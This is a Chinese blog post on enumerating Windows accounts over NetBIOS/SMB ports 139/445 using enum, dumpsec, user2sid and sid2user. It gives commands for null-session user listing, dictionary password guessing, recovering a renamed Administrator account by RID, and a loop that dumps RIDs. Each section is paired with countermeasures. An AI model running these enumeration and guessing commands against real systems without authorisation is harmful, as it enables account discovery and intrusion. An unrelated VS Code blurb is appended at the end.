战术攻防思维撷粹之一(再谈139.445端口问题)

本文介绍了一系列工具,如enum、dumpsec、sid2user和user2sid等,用于探测Windows系统的用户信息、密码策略及SID等敏感信息,并提供了防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

众所周知,139/445端口的开放使得我们可以查询NetBIOS名字表,这些表中不仅存放网络共享资源列表,它也藏匿着重要的用户信息。
Razor小组集成了NetBIOS查询特征到一个综合工具:enum。可以从razor.bindview.com/tools/desc/enum_readme.html查询到有关enum的使用说明和下载包。Enum能自动建立空会话,攻击者可以得到可以得到很有用的帐户信息和密码策略设置。
C:/toolkit>enum -U -d -P -L -c 192.168.1.151
server: 192.168.1.151
setting up session. success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
.
names:
netbios: Labmachine
domain: Workshop
.
getting user list (pass 1, index 0). success, got 9.
Administrator ()
attributes:
cifctm ()
attributes:
downsoft   attributes:
ftpuser   attributes:
Guest ()
attributes: disabled no_passwd
.
以上结果,显示了系统的某些危险漏洞,诸如密码无过期设置,无最短密码设置等,而且也罗列了系统的用户名录。除了枚举用户名外,enum提供远程猜测密码的功能,使用本地字典文件进行一个用户的密码猜:
C:/toolkit>enum -D -u <username> -f <yourdic>
+应对策略
防止用户信息出现NetBIOS名字表,可以通过控制面板停止系统上Alerter和Messenger服务。

作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具,从Perl脚本语言的实现、各种通用Unix的远程管理工具和网络管理工具,给我们带来了有益的维护检测手段。与此同时,这样的工具具有着双面性,黑帽们(Blackhat)利用这些工具,同样可以轻松进行肆意的攻击。
使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具,我们可以得到丰富的用户信息。这里必须讲解下dumpsec,因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息:
C:/toolkit>dumpsec /computer==//192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:/users.txt
C:/type c:/users.txt
27/2/2003 4:30 PM – Somarsoft DumpSec - //192.168.1.1
UserName     FullName          Comment
Hg he gao   manager
Lb li bin   account
Mjt          ma jitao   assistant
Papa         pu ying   saler
.
(注:Somarsoft推出了DumpSec的GUI版本,功能更为强大。)
+应对策略
阻塞空会话,限制注册表RestrictAnonymous键值(NT设REG_DWORD 1,W2K设置为2),使用NTRK/W2RK的实用工具reg.exe修改如下(以NT为例):
C:/toolkit>reg add HKLM/SYSTEM/CurrentControlet/Control/LSA /v RestrictAnonymous /t REG_DWORD /d 1 /f
/v:注册表键值
/t: 数据类型
/d: 注册表键值数据
/f: 当要添加的注册表值存在时进行覆盖

帐户名探测工具中,最为杰出的莫过于Evgenii Rudnyi的sid2user和user2side。它们既可通过用户名查询系统SID,也同从SID查询用户。SID即安全表示符,是创建帐户时生成的唯一标识符。Windows NT 使用 SID,独立于用户名之外来跟踪帐户。(关于SID的结构论述,可以参阅Mark Russinovich于1999年2月的文章 http://www.winnetmag.com/Articles/Index.cfm?ArticleID=4795)。使用user2sid 得到其中一域用户SID的话,就可以利用SID号查询相应的用户名。这里,我对一台W2K机器进行了查询实验:
C:/toolkit>user2sid  //192.168.1.2 “testaccount”

S-1-5-21-1960408961-789336058-1343024091-509

Number of subauthorities is 5
Domain is LABDOMAIN
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-.-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):
C:/toolkit>sid2user //192.168.1.2 5 21 1960408961 789336058 1343024091 500

Name is sysadmin
Domain is LABDOMAIN
Type of SID is SidTypeUser
从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin!

为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:
C:/>for /L %I IN (1000,1,1050) DO sid2user //192.168.1.2 5 21 1960408961 789336058 1343024091 %I >> users.txt
(注:
NT/W2K域中创建的第一个帐号所赋的RID为1000。
关于for的用法可在CMD模式下输入for /?查询。
50次循环转储RID 1000-1050用户名到users.txt文件。
)

+应对策略
只要139端口可访问,sid2user和user2sid就可以搜索出所有合法的用户帐户,这种让人心惊的偷窃方式,迫使我们不得不禁用TCP 139和445端口的访问。

值得一提的是W2K引入了目录服务的概念,于是可以使用LDAP协议通过389端口遍历目录树中所存在的用户和用户组。W2RK工具包中活动目录管理工具ldp.exe可以轻松实现这种功能。下面是ldp运行的一个截图:

通过这种方式,不仅可以浏览全部用户帐户(cn=Users),还可以查询用户更多的信息,比如SID、GUID、帐户名和密码设置类型等重要信息。因此必须对动态目录的访问权限设置限制。
Visual Studio Code 是由微软开发的一款免费、开源、跨平台的现代化轻量级代码编辑器,自发布以来迅速成为全球开发者最受欢迎的工具之一。它结合了编辑器的轻便性和集成开发环境(IDE)的强大功能,支持多种编程语言和开发场景,核心特点: 1. 跨平台支持 可在 Windows、macOS 和 Linux 上运行,保持一致的用户体验。 2. 轻量级与高性能 启动速度快,占用资源少,适合处理大型项目或低配置设备。 3. 智能代码补全 内置 IntelliSense(智能感知),提供代码提示、参数信息、快速修复等功能,支持 JavaScript、TypeScript、Python、C++ 等主流语言。 4. 内置终端 直接在编辑器内打开集成终端(支持 PowerShell、CMD、Bash 等),方便执行命令行操作。 5. 调试工具 内置调试器,支持断点、变量监视、调用堆栈查看等,无需离开编辑器即可调试代码。 6. Git 集成 直接通过侧边栏管理 Git 仓库,支持提交、分支切换、冲突解决等操作。 7. 丰富的扩展生态系统 通过 Extensions Marketplace 可安装数千款插件,扩展功能包括: 语言支持:如 Java、Go、Rust 等。 主题与图标:自定义界面风格。 工具集成:如 Docker、Kubernetes、数据库连接等。 效率工具:如 REST Client、Live Server 等。 8. 自定义与主题 支持修改键盘快捷键、界面主题、文件图标等,打造个性化开发环境。 9. 多光标编辑 按住 Alt(Windows/Linux)或 Option(macOS)点击可添加多个光标,同时编辑多处代码。 10. 远程开发支持 通过 Remote - SSH、Remote - Containers 等扩展,可直接连接远程服务器或开发容器,实现无缝协作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值